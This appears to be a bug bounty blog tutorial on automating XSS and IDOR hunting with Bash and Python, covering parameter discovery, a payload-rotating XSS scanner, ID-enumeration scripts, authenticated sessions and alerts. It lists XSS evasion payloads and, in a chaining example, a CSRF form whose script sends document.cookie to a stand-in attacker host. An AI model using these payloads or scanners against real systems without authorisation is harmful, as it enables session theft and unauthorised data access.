Bug bounty hunting is part art, part science — but it’s mostly about consistency. Every hacker knows that manual recon and testing can be mind-numbing and repetitive. That’s why building your own automation suite for common vulnerabilities like XSS and IDOR is a total game changer. 🎯

In this blog, we’ll explore how to build a modular, customizable automation toolkit using good old Bash and Python to help you:

• 🔍 Find endpoints, forms, and params
• 💉 Test for reflected and stored XSS
• 🔑 Hunt for Insecure Direct Object References (IDORs)
• ⚙️ Chain your tools for full recon and exploitation

Whether you’re a beginner tired of typing the same curl commands, or a seasoned hunter looking to improve efficiency — this one’s for you. ❤️‍🔥

⚙️ Why Build Your Own Suite?

🤔 Aren’t There Tools Already?

Absolutely. Tools like:

• Dalfox – 🦊 Fast XSS scanning
• ParamSpider – 🕷️ Finds URL parameters
• Arjun – 🧪 Discovers hidden GET/POST parameters
• kxss – Finds potential XSS sinks

But here’s the thing:

🧠 “The real power is in combining them — your way.”

Custom automation = Control + Speed + Creativity

📦 Prerequisites

Before we build our suite, let’s make sure you have:

• ✅ Linux system or WSL (Ubuntu preferred)
• ✅ Python 3.x installed (python3 --version)
• ✅ Bash shell ready
• ✅ Basic knowledge of XSS and IDOR vulnerabilities
• ✅ Tools installed:
• sudo apt install curl jq git pip install requests

Optional (but recommended):

• Install:
• dalfox
• ffuf
• httpx
• gf
• waybackurls

🧪 Module 1: Parameter Discovery (Bash)

Let’s start with finding parameters — the doors to injection points 🔐

#!/bin/bash

domain=$1echo "[*] Collecting endpoints for $domain..."mkdir -p output/$domain# Step 1: Collect URLsecho "[*] Using waybackurls..."waybackurls $domain | tee output/$domain/urls.txt# Step 2: Extract parametersecho "[*] Extracting URLs with parameters..."cat output/$domain/urls.txt | grep "=" | tee output/$domain/params.txtecho "[+] Done! Found $(wc -l < output/$domain/params.txt) URLs with params."

📁 Output:

output/└── example.com/ ├── urls.txt └── params.txt

Now you’ve got a clean list of target URLs with parameters like:

https://example.com/search?q=testhttps://example.com/page?id=123

🧠 Module 2: XSS Detection (Python + Bash Hybrid)

Let’s build a basic XSS injector that tests each parameter by injecting payloads.

xss_scanner.py 👇

import requestsfrom urllib.parse import urlparse, parse_qs, urlencode

payload = "<script>alert(1)</script>"headers = {'User-Agent': 'XSSScanner/1.0'}def scan_xss(url): parsed = urlparse(url) query = parse_qs(parsed.query) for param in query: query[param] = payload new_query = urlencode(query, doseq=True) target = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{new_query}" try: r = requests.get(target, headers=headers, timeout=5) if payload in r.text: print(f"[!] Possible XSS in: {target}") except: passwith open("output/example.com/params.txt") as f: for line in f: scan_xss(line.strip())

🧠 Tip: Replace payload with advanced test strings or use a payload list.

🔄 Combine With Bash

Now automate:

#!/bin/bashdomain=$1echo "[*] Running XSS scanner for $domain..."python3 xss_scanner.py

🔐 Module 3: IDOR Hunting

What’s IDOR?

IDOR stands for Insecure Direct Object Reference — accessing someone else’s stuff by changing IDs.

Examples:

GET /profile?id=123 ➡️ change to id=124

Automating IDOR Testing: idor_test.py 🧪

import requests

session = requests.Session()base_url = "https://target.com/profile?id="# Authentication (if needed)session.cookies.set("session", "your_session_cookie")for i in range(1000, 1050): url = f"{base_url}{i}" r = session.get(url) if "user not found" not in r.text: print(f"[+] Interesting ID found: {url}")

Use this script when testing authenticated endpoints.

🔁 Bonus: Chaining Modules Together

Make your suite modular, so each tool feeds into the next:

./get_params.sh target.compython3 xss_scanner.pypython3 idor_test.py

Or build a main.sh like:

#!/bin/bashdomain=$1echo "[*] Running full XSS/IDOR suite on $domain"

./get_params.sh $domainpython3 xss_scanner.pypython3 idor_test.py

📊 Module 4: Bruteforcing Hidden Parameters (Arjun + Python)

Hidden parameters are a goldmine for XSS and IDOR vulnerabilities — especially in APIs and AJAX-heavy apps. Tools like Arjun scan for parameters that aren’t obvious from URL structure but still accepted by the backend. 🚀

🔧 Step 1: Installing Arjun

bash

CopyEdit

git clone https://github.com/s0md3v/Arjuncd Arjunpip3 install -r requirements.txtpython3 arjun.py -u https://example.com/api/user -m GET

🤖 Automating with Python

Here’s how to integrate Arjun into your suite with a wrapper script:

python

CopyEdit

import osimport subprocess

target_url = input("Enter the endpoint to bruteforce parameters: ")output_file = "output/arjun_params.txt"# Run Arjuncmd = f"python3 Arjun/arjun.py -u {target_url} -oT {output_file}"os.system(cmd)# Read discovered paramswith open(output_file) as f: print("\n[+] Discovered Parameters:") for param in f: print(" -", param.strip())

🧠 What to do with those parameters?

Once discovered, you can inject payloads like "<script>alert(1)</script>" into each param — either manually or through your XSS scanner from Part

🔐 Module 5: Authentication Handling for Bug Hunting

Most real bugs lie behind login. Without session handling, your automation suite is half blind. 😵

Let’s add support for:

• ✅ Cookie-based login
• ✅ Header token injection (JWT, Bearer)
• ✅ Session handling

📜 auth_config.json

json

CopyEdit

{ "cookies": { "session": "your-session-id", "auth": "abcd1234" }, "headers": { "Authorization": "Bearer YOUR_API_TOKEN" }}

📦 auth_handler.py

python

CopyEdit

import jsonimport requests

def get_auth_session(): with open("auth_config.json") as f: config = json.load(f) session = requests.Session() # Set cookies for name, value in config["cookies"].items(): session.cookies.set(name, value) # Set headers for header, value in config["headers"].items(): session.headers[header] = value return session

Now, update your XSS and IDOR scanner scripts to use auth_handler.get_auth_session() instead of raw requests.get().

📁 Module 6: Logging & Reporting for Bug Bounties

All the automation in the world is useless if you can’t track results clearly. Here’s how to keep tidy records:

📘 Logging Template (Markdown)

markdown

CopyEdit

# 🐞 Bug Report - XSS

**URL**: `https://example.com/profile?id=123` **Payload**: `<script>alert(1)</script>` **Response Contains Payload?** ✅ **Severity**: Medium **Notes**: Reflected input in `id` parameter. No input sanitization.

📋 Auto-generate Logs (Python)

python

CopyEdit

def log_bug(url, payload, issue_type="XSS"): with open(f"logs/{issue_type}.md", "a") as f: f.write(f"""### 🐞 {issue_type.upper()} Bug

- **URL**: `{url}`- **Payload**: `{payload}`- **Timestamp**: {datetime.now().isoformat()}- **Notes**: Auto-detected by script---""")

📁 Folder Structure:

css

CopyEdit

logs/├── XSS.md├── IDOR.md└── summary.csv

🧱 Module 7: Integrating Burp Suite with Your Toolkit

While scripts are fast, Burp Suite is powerful for manual review and visual diffing.

🎯 Two Options:

🅰️ Option A: Send Traffic to Burp via Proxy

In Python:

python

CopyEdit

proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

requests.get(url, proxies=proxies, verify=False)

🅱️ Option B: Export URLs to Burp Intruder

bash

CopyEdit

cat output/example.com/params.txt > burp_targets.txt

In Burp:

• Intruder → Load burp_targets.txt
• Set payload positions
• Launch attack with XSS/IDOR payload lists

📈 Module 8: Visualizing Results with CSV & Charts

For bounty platforms or managers, graphs = clarity 📊

🧮 Python CSV Logger

python

CopyEdit

import csvfrom datetime import datetime

def log_csv(url, issue, payload): with open("logs/summary.csv", "a", newline="") as f: writer = csv.writer(f) writer.writerow([datetime.now(), url, issue, payload])

Then use Excel or Google Sheets to plot:

• Total bugs
• Bug types
• Domains per bug

🤖 Final Integration — Full Bash Workflow

Here’s what a one-liner execution might look like:

bash

CopyEdit

./main.sh example.com

main.sh – Combine All Modules

bash

CopyEdit

#!/bin/bashdomain=$1

echo "🎯 Starting Bug Hunting Suite on $domain"./get_params.sh $domainpython3 xss_scanner.pypython3 idor_test.pypython3 arjun_bruter.pypython3 log_summary.pyecho "✅ Done! Check logs/ for output."

🧪 Module 9: Advanced XSS Testing

Finding XSS with <script>alert(1)</script> is just the beginning. Web apps today use DOM-heavy JavaScript, client-side routing, and input filters. That means… more evasion needed 😈

🧨 Common Advanced Payloads

html

CopyEdit

"><svg/onload=alert(1)>"><img src=x onerror=alert(1)>"><body onresize=alert(1)>"><iframe srcdoc="<script>alert(1)</script>">

✅ Pro tip: Use these with event handlers like onmouseover, onfocus, onerror.

👨‍💻 Adding Payload Rotation to XSS Scanner

Update xss_scanner.py with a payload list:

python

CopyEdit

payloads = [ "<script>alert(1)</script>", "\"><svg/onload=alert(1)>", "\"><img src=x onerror=alert(1)>", "' onfocus='alert(1)", "<body onresize=alert(1)>"]

def scan_xss(url): parsed = urlparse(url) query = parse_qs(parsed.query) for param in query: for payload in payloads: query[param] = payload new_query = urlencode(query, doseq=True) target = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{new_query}" try: r = requests.get(target, headers=headers, timeout=5) if payload in r.text: print(f"[!] XSS found in: {target}") log_bug(target, payload) except Exception as e: continue

🧬 Module 10: DOM-Based XSS Detection

DOM-based XSS doesn’t reflect in the response body — it’s executed by JavaScript in the browser. So, tools like Dalfox, XSStrike, or even custom headless browsers help.

🧠 Detecting DOM XSS with Dalfox:

bash

CopyEd

dalfox url "https://example.com/profile?name=vipul"

✅ Use -b to test blind XSS with your collaborator server.

📦 Automation via Python

bash

CopyEdit

dalfox file output/example.com/params.txt -o dom_results.txt

Then read and parse dom_results.txt into your logging module.

🔗 Module 11: Chaining Bugs — XSS → CSRF → Account Takeover

Let’s get creative! Sometimes bugs aren’t critical alone, but together — 💥 boom.

🔥 Real-World Chain Example:

1. 🧩 Found reflected XSS in profile name
2. 🎣 Used it in an auto-submitting CSRF form:

<form action="https://victim.com/profile" method="POST"> <input type="hidden" name="name" value="<script>new Image().src='http://attacker.com?cookie='+document.cookie</script>"> </form>

1. 🧠 Now attacker gets session cookie via image-based exfil.

🔐 Module 12: Real-World IDOR Exploitation Scenarios

IDOR is way more than just changing ?id=1.

Here are creative test cases:

1️⃣ Email Change Endpoint

bash

CopyEdit

POST /api/user/update-emailBody: { "email": "attacker@evil.com", "user_id": "104" }

➡️ Try modifying user_id to access other users’ profiles. 🔓

2️⃣ Password Reset Exploit

http

CopyEdi

POST /api/user/resetBody: { "email": "user1@victim.com" }

You sniff the request via CSRF/XSS and modify the reset token endpoint for your own account.

3️⃣ File Access via Sequential ID

bash

CopyEdit

GET /files/download?id=200GET /files/download?id=201

➡️ Loop through numbers using Python:

python

CopyEdit

for i in range(100, 150): r = session.get(f"https://target.com/files/download?id={i}") if "PDF" in r.headers.get("Content-Type", ""): print(f"[+] Found file: ID {i}")

🧑‍🎓 Module 13: Writing Killer Reports for Bug Bounty Platforms

🎯 The goal of automation is to reduce noise and focus on real bugs — which means writing clear, impactful reports.

✅ Report Checklist

• Title: Clear & concise
• Summary: What the issue is, how it affects the app
• Steps to Reproduce
• Proof of Concept (PoC) URL or curl command
• Impact: What could an attacker do?
• Suggested Fix

✍️ Example Report Template

yaml

CopyEdit

🧠 Summary:Reflected XSS vulnerability on the profile page via `name` parameter.

🔁 Steps to Reproduce:1. Visit: https://example.com/profile?name=<script>alert(1)</script>2. Alert box executes.🎯 Impact:Can be chained with CSRF to hijack sessions or steal tokens.💡 Suggested Fix:Apply input sanitization and context-aware encoding.

🌐 Module 14: Webhooks & Instant Alerts 📲

You want your suite to notify you when it finds something — no need to constantly check logs.

🔔 Slack Notifications

Use a Slack webhook URL to send formatted alerts:

python

CopyEdi

import requestsfrom datetime import datetime

slack_webhook = "https://hooks.slack.com/services/XXX/YYY/ZZZ"def slack_alert(issue_type, url, payload): data = { "text": f"*{issue_type}* bug found!\n• URL: {url}\n• Payload: `{payload}`\n• Time: {datetime.now().isoformat()}" } requests.post(slack_webhook, json=data)

Call slack_alert(...) whenever you detect a bug.

📧 Email Alerts (SMTP)

Optionally, notify yourself via email:

python

CopyEdit

import smtplibfrom email.mime.text import MIMEText

def email_alert(recipient, subject, body): msg = MIMEText(body) msg["Subject"] = subject msg["From"] = "scanner@yourdomain.com" msg["To"] = recipient s = smtplib.SMTP("smtp.yourprovider.com", 587) s.starttls() s.login("youruser", "yourpass") s.send_message(msg) s.quit()

📦 Module 15: Packaging as a CLI Tool

Turn your scripts into a clean command-line tool for ease of use.

🧱 setup.py & CLI Structure

Create a Python package layout:

markdown

CopyEdit

xss_idor_suite/├── __init__.py├── scanner.py├── auth_handler.py├── notifier.py├── utils.py└── __main__.py

In __main__.py:

python

CopyEdit

import argparsefrom .scanner import scan_allfrom .auth_handler import get_auth_sessionfrom .notifier import slack_alert

parser = argparse.ArgumentParser(description="XSS/IDOR Automation Suite")parser.add_argument("--domain", required=True)parser.add_argument("--notify", action="store_true")args = parser.parse_args()session = get_auth_session()issues = scan_all(args.domain, session)if args.notify: for issue in issues: slack_alert(issue["type"], issue["url"], issue["payload"])

Then install with:

bash

CopyEdit

pip install -e .

Usage:

bash

CopyEdit

xss_idor_suite --domain example.com --notify

🗂 Module 16: Hosting on GitHub & Open Source Best Practices

Let’s make your tool public and usable by others.

✅ Repository Readme

Include:

• Project description
• Usage instructions
• Installation steps
• Examples
• License (MIT or Apache)
• Contribution guidelines

🛠 CI/CD Integration

Automate testing on GitHub actions:

• Run unit/ smoke tests on scanner functions
• Check for syntax/linting errors
• Optional: Auto-deploy releases

🔄 Module 17: Continuous Recon (Cron Jobs & Automation)

Want daily scanning? Set up cron or cloud runners.

⏳ Cron Example (Linux):

cron

CopyEdit

0 2 * * * cd /home/user/xss_idor_suite && xss_idor_suite --domain example.com --notify

☁️ Using GitHub Actions or AWS Lambda

• AWS: Trigger on schedule, push logs to S3 or email
• GHA: Use scheduled workflow for automation and push results to logs

🔧 Module 18: Recap of All Modules

Press enter or click to view image in full size

🔗 Connect With Me

If you enjoyed this guide and want more practical tutorials, recon checklists, and hacker strategies, stay in touch:

• 📬 FREE Newsletter: thehackerslog.substack.com
• 📸 Twitter (X): @VipulSonule
• 🧑‍💼 LinkedIn: Vipul Sonule
• ✍️ Medium: Vipul Sonule